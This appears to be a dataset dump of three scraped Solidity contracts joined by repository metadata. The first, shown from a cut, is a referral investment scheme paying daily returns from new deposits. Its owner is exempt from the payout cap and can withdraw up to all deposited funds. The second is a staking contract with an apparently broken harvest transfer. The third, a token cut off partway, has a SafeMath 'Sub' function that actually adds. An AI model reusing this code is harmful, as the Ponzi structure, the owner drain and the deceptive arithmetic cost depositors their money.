pool_bonuses.push(10);
pool_bonuses.push(8);
pool_bonuses.push(7);
pool_bonuses.push(6);
pool_bonuses.push(5);
pool_bonuses.push(4);
pool_bonuses.push(3);
cycles.push(1e11);
cycles.push(25e10);
cycles.push(5e11);
cycles.push(1e12);
cycles.push(2e12);
}
function() payable external {
_deposit(msg.sender, msg.value);
}
function _setUpline(address _addr, address _upline) private {
if(users[_addr].upline == address(0) && _upline != _addr && _addr != owner && (users[_upline].deposit_time > 0 || _upline == owner)) {
users[_addr].upline = _upline;
users[_upline].referrals++;
emit Upline(_addr, _upline);
total_users++;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(_upline == address(0)) break;
users[_upline].total_structure++;
_upline = users[_upline].upline;
}
}
}
function _deposit(address _addr, uint256 _amount) private {
require(users[_addr].upline != address(0) || _addr == owner, "No upline");
if(users[_addr].deposit_time > 0) {
users[_addr].cycle++;
require(users[_addr].payouts >= this.maxPayoutOf(users[_addr].deposit_amount), "Deposit already exists");
require(_amount >= users[_addr].deposit_amount && _amount <= cycles[users[_addr].cycle > cycles.length - 1 ? cycles.length - 1 : users[_addr].cycle], "Bad amount");
}
else require(_amount >= 1e7 && _amount <= cycles[0], "Bad amount");
users[_addr].payouts = 0;
users[_addr].deposit_amount = _amount;
users[_addr].deposit_payouts = 0;
users[_addr].deposit_time = uint40(block.timestamp);
users[_addr].total_deposits += _amount;
if(_addr != owner) { users[users[_addr].upline].firstline_turnover += _amount; }
total_deposited += _amount;
_calculateReferrerReward(_addr, _amount);
emit NewDeposit(_addr, _amount);
_pollDeposits(_addr, _amount);
if(pool_last_draw + 7 days < block.timestamp) {
_drawPool();
}
admin_fee.transfer(_amount * 3 / 100);
}
function _pollDeposits(address _addr, uint256 _amount) private {
pool_balance += _amount * 5 / 100;
address upline = users[_addr].upline;
if(upline == address(0)) return;
pool_users_refs_deposits_sum[pool_cycle][upline] += _amount;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == upline) break;
if(pool_top[i] == address(0)) {
pool_top[i] = upline;
break;
}
if(pool_users_refs_deposits_sum[pool_cycle][upline] > pool_users_refs_deposits_sum[pool_cycle][pool_top[i]]) {
for(uint8 j = i + 1; j < pool_bonuses.length; j++) {
if(pool_top[j] == upline) {
for(uint8 k = j; k <= pool_bonuses.length; k++) {
pool_top[k] = pool_top[k + 1];
}
break;
}
}
for(uint8 j = uint8(pool_bonuses.length - 1); j > i; j--) {
pool_top[j] = pool_top[j - 1];
}
pool_top[i] = upline;
break;
}
}
}
function _refPayout(address _addr, uint256 _amount) private {
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_bonuses.length; i++) {
if(up == address(0)) break;
if((i + 1) <= getMatchLevel(up)) {
uint256 bonus = _amount * ref_bonuses[i] / 100;
users[up].match_bonus += bonus;
emit MatchPayout(up, _addr, bonus);
}
up = users[up].upline;
}
}
function _drawPool() private {
pool_last_draw = uint40(block.timestamp);
pool_cycle++;
uint256 draw_amount = pool_balance;
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
uint256 win = draw_amount * pool_bonuses[i] / 100;
users[pool_top[i]].pool_bonus += win;
pool_balance -= win;
emit PoolPayout(pool_top[i], win);
}
for(uint8 i = 0; i < pool_bonuses.length; i++) {
pool_top[i] = address(0);
}
}
function deposit(address _upline) payable public {
_setUpline(msg.sender, _upline);
_deposit(msg.sender, msg.value);
}
function withdraw() public {
(uint256 to_payout, uint256 max_payout) = this.payoutOf(msg.sender);
require(users[msg.sender].payouts < max_payout, "Full payouts");
if(to_payout > 0) {
if(users[msg.sender].payouts + to_payout > max_payout) {
to_payout = max_payout - users[msg.sender].payouts;
}
users[msg.sender].deposit_payouts += to_payout;
users[msg.sender].payouts += to_payout;
_refPayout(msg.sender, to_payout);
}
if(users[msg.sender].payouts < max_payout && users[msg.sender].direct_bonus > 0) {
uint256 direct_bonus = users[msg.sender].direct_bonus;
if(users[msg.sender].payouts + direct_bonus > max_payout) {
direct_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].direct_bonus -= direct_bonus;
users[msg.sender].payouts += direct_bonus;
to_payout += direct_bonus;
}
if(users[msg.sender].payouts < max_payout && users[msg.sender].pool_bonus > 0) {
uint256 pool_bonus = users[msg.sender].pool_bonus;
if(users[msg.sender].payouts + pool_bonus > max_payout) {
pool_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].pool_bonus -= pool_bonus;
users[msg.sender].payouts += pool_bonus;
to_payout += pool_bonus;
}
if(users[msg.sender].payouts < max_payout && users[msg.sender].match_bonus > 0) {
uint256 match_bonus = users[msg.sender].match_bonus;
if(users[msg.sender].payouts + match_bonus > max_payout) {
match_bonus = max_payout - users[msg.sender].payouts;
}
users[msg.sender].match_bonus -= match_bonus;
users[msg.sender].payouts += match_bonus;
to_payout += match_bonus;
}
require(to_payout > 0, "Zero payout");
users[msg.sender].total_payouts += to_payout;
total_withdraw += to_payout;
msg.sender.transfer(to_payout);
emit Withdraw(msg.sender, to_payout);
if(users[msg.sender].payouts >= max_payout) {
emit LimitReached(msg.sender, users[msg.sender].payouts);
}
}
function maxPayoutOf(uint256 _amount) pure public returns(uint256) {
return _amount * 30 / 10;
}
function payoutOf(address _addr) view public returns(uint256 payout, uint256 max_payout) {
max_payout = this.maxPayoutOf(users[_addr].deposit_amount);
if(users[_addr].deposit_payouts < max_payout) {
payout = (users[_addr].deposit_amount * ((block.timestamp - users[_addr].deposit_time) / 1 days) / 100)
- users[_addr].deposit_payouts;
if(users[_addr].deposit_payouts + payout > max_payout) {
payout = max_payout - users[_addr].deposit_payouts;
}
}
if(_addr == owner) {
max_payout = total_deposited; // No limit withdraw by deposit for owner
}
}
function _calculateReferrerReward(address _addr, uint256 _amount) private {
uint256 _allReferrerAmount = _amount * 10 / 100;
address up = users[_addr].upline;
for(uint8 i = 0; i < ref_rewards.length; i++) {
if(up == address(0)) break;
uint256 reward = _amount * ref_rewards[i] / 100;
users[up].direct_bonus += reward;
_allReferrerAmount -= reward;
emit DirectPayout(up, _addr, reward);
up = users[up].upline;
}
if (_allReferrerAmount > 0) {
admin_fee.transfer(_allReferrerAmount);
}
}
function userInfo(address _addr) view public returns(address upline, uint40 deposit_time, uint256 deposit_amount, uint256 payouts, uint256 direct_bonus, uint256 pool_bonus, uint256 match_bonus) {
return (users[_addr].upline, users[_addr].deposit_time, users[_addr].deposit_amount, users[_addr].payouts, users[_addr].direct_bonus, users[_addr].pool_bonus, users[_addr].match_bonus);
}
function getMatchLevel(address _addr) view private returns(uint256 matchbonuslevel) {
matchbonuslevel = 3;
if(_addr == owner) {
matchbonuslevel = 20;
} else {
if(users[_addr].firstline_turnover >= 1e10 && users[_addr].firstline_turnover < 25e9) {
matchbonuslevel = 5;
} else if(users[_addr].firstline_turnover >= 25e9 && users[_addr].firstline_turnover < 5e10) {
matchbonuslevel = 7;
} else if(users[_addr].firstline_turnover >= 5e10 && users[_addr].firstline_turnover < 1e11) {
matchbonuslevel = 10;
} else if(users[_addr].firstline_turnover >= 1e11 && users[_addr].firstline_turnover < 25e10) {
matchbonuslevel = 12;
} else if(users[_addr].firstline_turnover >= 25e10 && users[_addr].firstline_turnover < 5e11) {
matchbonuslevel = 15;
} else if(users[_addr].firstline_turnover >= 5e11 && users[_addr].firstline_turnover < 1e12) {
matchbonuslevel = 17;
} else if(users[_addr].firstline_turnover >= 1e12) {
matchbonuslevel = 20;
}
}
return matchbonuslevel;
}
function userInfoTotals(address _addr) view public returns(uint256 referrals, uint256 total_deposits, uint256 total_payouts, uint256 total_structure, uint256 match_bonus_level) {
return (users[_addr].referrals, users[_addr].total_deposits, users[_addr].total_payouts, users[_addr].total_structure, getMatchLevel(_addr));
}
function contractInfo() view public returns(uint256 _total_users, uint256 _total_deposited, uint256 _total_withdraw, uint40 _pool_last_draw, uint256 _pool_balance, uint256 _pool_lider, address _zero_address) {
return (total_users, total_deposited, total_withdraw, pool_last_draw, pool_balance, pool_users_refs_deposits_sum[pool_cycle][pool_top[0]], address(0));
}
function poolTopInfo() view public returns(address[10] memory addrs, uint256[10] memory deps) {
for(uint8 i = 0; i < pool_bonuses.length; i++) {
if(pool_top[i] == address(0)) break;
addrs[i] = pool_top[i];
deps[i] = pool_users_refs_deposits_sum[pool_cycle][pool_top[i]];
}
}
function getOwner() public view returns(address){
require(msg.sender == owner);
return owner;
}
function getAdmin() public view returns(address){
require(msg.sender == owner);
return admin_fee;
}
}
| 284,518 | 234 |
71fa151262f46c58e0d3b1294ce1d82dd29bf90b65a78a5724dc90053ec6a132
| 21,601 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/2e/2e2c39ccb9b3a15bcf5d40d96e96a1ea01281c7c_StandartStaking.sol
| 5,409 | 20,481 |
// SPDX-License-Identifier: MIT
// Developed by ContractChecker
pragma solidity 0.8.14;
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeBEP20 {
using Address for address;
function safeTransfer(IBEP20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IBEP20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IBEP20 token,
address spender,
uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
'SafeBEP20: approve from non-zero to non-zero allowance');
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IBEP20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IBEP20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, 'SafeBEP20: low-level call failed');
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), 'SafeBEP20: BEP20 operation did not succeed');
}
}
}
contract Context {
constructor() {}
function _msgSender() internal view returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
contract StandartStaking is Ownable, ReentrancyGuard {
using SafeBEP20 for IBEP20;
struct UserInfo {
uint256 amount;
uint256 rewardDebt;
uint256 lastDepositTime;
}
struct PoolInfo {
uint256 lastRewardBlock;
uint256 accRewardPerShare;
uint256 rewardPerBlock;
uint256 startBlock;
uint256 bonusEndBlock;
uint256 lockPeriod;
IBEP20 rewardToken;
IBEP20 stakedToken;
uint256 withdrawFee;
uint256 depositFee;
uint256 emergencyWithdrawFee;
uint256 balance;
}
PoolInfo[] public poolInfo;
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
event Harvest(address indexed user, uint256 amount);
event DepositFee(address indexed user, uint256 amount);
event WithdrawFee(address indexed user, uint256 amount);
event EmergencyWithdrawFee(address indexed user, uint256 amount);
constructor() {}
function addPool(PoolInfo memory pool) public onlyOwner {
pool.lastRewardBlock = block.number > pool.startBlock ? block.number : pool.startBlock;
poolInfo.push(pool);
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function getMultiplier(uint256 _pid,uint256 _from, uint256 _to) internal view returns (uint256) {
if (_to <= poolInfo[_pid].bonusEndBlock) {
return _to - _from;
} else if (_from >= poolInfo[_pid].bonusEndBlock) {
return 0;
} else {
return poolInfo[_pid].bonusEndBlock - _from;
}
}
function pendingReward(uint256 _pid,address _user) public view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accRewardPerShare = pool.accRewardPerShare;
uint256 stakedSupply = pool.balance;
if (block.number > pool.lastRewardBlock && stakedSupply != 0) {
uint256 multiplier = getMultiplier(_pid,pool.lastRewardBlock, block.number);
uint256 tokenReward = multiplier * pool.rewardPerBlock;
accRewardPerShare = accRewardPerShare + ((tokenReward * 1e12) / stakedSupply);
}
return ((user.amount * accRewardPerShare) / 1e12) - user.rewardDebt ;
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 poolSupply = pool.balance;
if (poolSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(_pid, pool.lastRewardBlock, block.number);
uint256 tokenReward = multiplier * pool.rewardPerBlock;
pool.accRewardPerShare = pool.accRewardPerShare + ((tokenReward * 1e12) / poolSupply);
pool.lastRewardBlock = block.number;
}
function _harvest(address harvester, uint256 _pid) internal {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][harvester];
updatePool(_pid);
uint256 rewardPending = pendingReward(_pid,harvester);
require(rewardPending > 0,"reward : 0");
user.rewardDebt = (user.amount * pool.accRewardPerShare) / 1e12;
if(rewardPending>0){
pool.rewardToken.safeTransferFrom(address(this),address(harvester), rewardPending);
}
emit Harvest(harvester, rewardPending);
}
function harvest(uint256 _pid) public nonReentrant{
_harvest(msg.sender,_pid);
}
function deposit(uint256 _pid,uint256 _amount) public nonReentrant{
_deposit(msg.sender,_pid, _amount, false);
}
function _deposit(address userAddress,uint256 _pid,uint256 _amount, bool isPoolTransfer)internal{
require (_amount > 0, 'amount 0');
UserInfo storage user = userInfo[_pid][userAddress];
PoolInfo storage pool = poolInfo[_pid];
require(user.amount == 0,"cannot restake");
updatePool(_pid);
if(!isPoolTransfer) {
pool.stakedToken.safeTransferFrom(address(userAddress), address(this), _amount);
if(pool.depositFee>0){
emit DepositFee(address(userAddress),(_amount * pool.depositFee) / 10_000);
_amount -= (_amount * pool.depositFee) / 10_000;
}
}
user.amount = user.amount + _amount;
pool.balance += _amount;
user.rewardDebt = (user.amount * pool.accRewardPerShare) / 1e12;
user.lastDepositTime = block.timestamp;
emit Deposit(userAddress, _amount);
}
function canWithdraw(uint256 _pid, address _user) public view returns (bool) {
return (canWithdrawTime(_pid,_user)==0);
}
function canWithdrawTime(uint256 _pid, address _user) public view returns (uint256) {
UserInfo storage user = userInfo[_pid][_user];
PoolInfo storage pool = poolInfo[_pid];
if ((block.timestamp < user.lastDepositTime + pool.lockPeriod) && (block.number < pool.bonusEndBlock)){
return user.lastDepositTime + pool.lockPeriod - block.timestamp;
}else{
return 0;
}
}
function withdraw(uint256 _pid,uint256 _amount) public nonReentrant{
require (_amount > 0, 'amount 0');
require(canWithdraw(_pid,msg.sender),'cannot withdraw yet');
UserInfo storage user = userInfo[_pid][msg.sender];
PoolInfo storage pool = poolInfo[_pid];
require(user.amount >= _amount, "withdraw: not enough");
_harvest(msg.sender,_pid);
pool.balance -= _amount;
user.amount = user.amount - _amount;
if(pool.withdrawFee>0){
emit WithdrawFee(address(msg.sender), (_amount * pool.withdrawFee) / 10_000);
_amount -= (_amount * pool.withdrawFee) / 10_000;
}
pool.stakedToken.safeTransfer(address(msg.sender), _amount);
user.rewardDebt = (user.amount * pool.accRewardPerShare) / 1e12;
emit Withdraw(msg.sender, _amount);
}
function emergencyWithdraw(uint256 _pid) public nonReentrant{
require(!canWithdraw(_pid,msg.sender),'Use normal withdraw instead');
UserInfo storage user = userInfo[_pid][msg.sender];
PoolInfo storage pool = poolInfo[_pid];
require(user.amount > 0,'amount 0');
uint256 _amount=user.amount;
user.amount = 0;
user.rewardDebt = 0;
pool.balance -= _amount;
if(pool.emergencyWithdrawFee>0){
emit EmergencyWithdrawFee(address(msg.sender), (_amount * pool.emergencyWithdrawFee) / 10_000);
_amount -= (_amount * pool.emergencyWithdrawFee) / 10_000;
}
pool.stakedToken.safeTransfer(address(msg.sender), _amount);
emit EmergencyWithdraw(msg.sender, _amount);
}
function setDepositFee(uint256 _pid,uint depFee) external onlyOwner {
PoolInfo storage pool = poolInfo[_pid];
require(depFee < 500 && depFee % 4 ==0 , "DeposiFee should be < 5 and %4 ==0 because 1/4 may send own of referralCode");
pool.depositFee = depFee;
}
function setEmergencyFee(uint256 _pid,uint emFee) external onlyOwner {
PoolInfo storage pool = poolInfo[_pid];
require(emFee <= 3000, "EmergencyWithdrawFee should be <= 30");
pool.emergencyWithdrawFee = emFee;
}
function setWithdrawFee(uint256 _pid,uint wFee) external onlyOwner {
PoolInfo storage pool = poolInfo[_pid];
require(wFee < 500, "WithdrawFee should be < 5");
pool.withdrawFee = wFee;
}
struct FixedUserInfo {
uint256 amount;
uint256 lastDepositTime;
}
struct FixedPoolInfo{
uint256 APR;
uint256 startEpoch;
uint256 lockPeriod;
IBEP20 stakedToken;
uint256 withdrawFee;
uint256 depositFee;
uint256 emergencyWithdrawFee;
bool isOpen;
}
FixedPoolInfo[] public fixedPoolInfo;
mapping(uint256 => mapping(address => FixedUserInfo)) public fixedUserInfo;
function FixedAddPool(FixedPoolInfo memory pool) external onlyOwner{
fixedPoolInfo.push(pool);
}
function fixedPoolLength() external view returns (uint256) {
return fixedPoolInfo.length;
}
function fixedPendingReward(uint256 _pid,address _user) public view returns (uint256) {
FixedPoolInfo storage pool = fixedPoolInfo[_pid];
FixedUserInfo storage user = fixedUserInfo[_pid][_user];
uint256 lockedTime = block.timestamp > user.lastDepositTime + pool.lockPeriod ? pool.lockPeriod : block.timestamp - user.lastDepositTime;
uint256 reward = (((user.amount * pool.APR) / 10_000) * lockedTime) / pool.lockPeriod;
return reward;
}
function fixedDeposit(uint256 _pid,uint256 _amount) public nonReentrant{
require (_amount > 0, 'amount 0');
FixedUserInfo storage user = fixedUserInfo[_pid][msg.sender];
FixedPoolInfo storage pool = fixedPoolInfo[_pid];
require(pool.isOpen,' pool is closed');
require(pool.startEpoch < block.timestamp,'pool has not started yet');
require(user.amount == 0,"cannot restake");
pool.stakedToken.safeTransferFrom(address(msg.sender), address(this), _amount);
if(pool.depositFee>0){
emit DepositFee(address(msg.sender),(_amount * pool.depositFee) / 10_000);
_amount -= (_amount * pool.depositFee) / 10_000;
}
user.amount = user.amount + _amount;
user.lastDepositTime = block.timestamp;
emit Deposit(msg.sender, _amount);
}
function fixedCanWithdraw(uint256 _pid, address _user) public view returns (bool) {
return (fixedCanWithdrawTime(_pid,_user)==0);
}
function fixedCanWithdrawTime(uint256 _pid, address _user) public view returns (uint256) {
FixedPoolInfo storage pool = fixedPoolInfo[_pid];
FixedUserInfo storage user = fixedUserInfo[_pid][_user];
if ((block.timestamp < user.lastDepositTime + pool.lockPeriod)){
return user.lastDepositTime + pool.lockPeriod - block.timestamp;
}else{
return 0;
}
}
function fixedWithdraw(uint256 _pid) public nonReentrant{
require(fixedCanWithdraw(_pid,msg.sender),'cannot withdraw yet');
FixedPoolInfo storage pool = fixedPoolInfo[_pid];
FixedUserInfo storage user = fixedUserInfo[_pid][msg.sender];
uint256 _amount = user.amount;
require (_amount > 0, 'amount 0');
if(pool.withdrawFee>0){
emit WithdrawFee(address(msg.sender), (_amount * pool.withdrawFee) / 10_000);
_amount -= (_amount * pool.withdrawFee) / 10_000;
}
_amount += fixedPendingReward(_pid, msg.sender);
user.amount=0;
pool.stakedToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _amount);
}
function fixedEmergencyWithdraw(uint256 _pid) public nonReentrant{
require(!fixedCanWithdraw(_pid,msg.sender),'Use normal withdraw instead');
FixedPoolInfo storage pool = fixedPoolInfo[_pid];
FixedUserInfo storage user = fixedUserInfo[_pid][msg.sender];
require(user.amount > 0,'amount 0');
uint256 _amount=user.amount;
user.amount = 0;
if(pool.emergencyWithdrawFee>0){
emit EmergencyWithdrawFee(address(msg.sender), (_amount * pool.emergencyWithdrawFee) / 10_000);
_amount -= (_amount * pool.emergencyWithdrawFee) / 10_000;
}
pool.stakedToken.safeTransfer(address(msg.sender), _amount);
emit EmergencyWithdraw(msg.sender, _amount);
}
function fixedSetFees(uint256 _pid,uint depFee,uint emFee,uint wFee) external onlyOwner {
FixedPoolInfo storage pool = fixedPoolInfo[_pid];
require(depFee <= 500, "DeposiFee should be < 5");
require(wFee <= 500, "WithdrawFee should be < 5");
require(emFee <= 3000, "EmergencyWithdrawFee should be <= 30");
pool.depositFee = depFee;
pool.withdrawFee = wFee;
pool.emergencyWithdrawFee = emFee;
}
function fixedPoolStatus(uint256 _pid,bool _isOpen) external onlyOwner{
FixedPoolInfo storage pool = fixedPoolInfo[_pid];
pool.isOpen = _isOpen;
}
function transferPoolNativeToOther(uint256 _pid,uint256 _newPid) external nonReentrant{
FixedPoolInfo storage pool = fixedPoolInfo[_pid];
PoolInfo storage newPool = poolInfo[_newPid];
FixedUserInfo storage user = fixedUserInfo[_pid][msg.sender];
require(user.amount > 0,"must stake");
require(pool.lockPeriod < newPool.lockPeriod,"You can't do that!");
uint256 pending = fixedPendingReward(_pid, msg.sender);
uint256 _amount = user.amount + pending;
user.amount = 0;
_deposit(msg.sender, _newPid, _amount, true);
}
function recoverWrongTokens(address _tokenAddress, uint256 _tokenAmount) external onlyOwner {
IBEP20(_tokenAddress).safeTransfer(address(msg.sender), _tokenAmount);
}
function recoverBNB(uint256 amount) public onlyOwner {
payable(msg.sender).transfer(amount);
}
}
| 119,453 | 235 |
1b66251c9c3067e9ff7b8bc31d001ec1742063a3538038f52f2c596d2f3e34e4
| 22,950 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x0DFA75014cd01a38182ae570D6Ab12C74BA0f46B/contract.sol
| 3,483 | 13,371 |
pragma solidity ^0.6.7;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function Sub(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
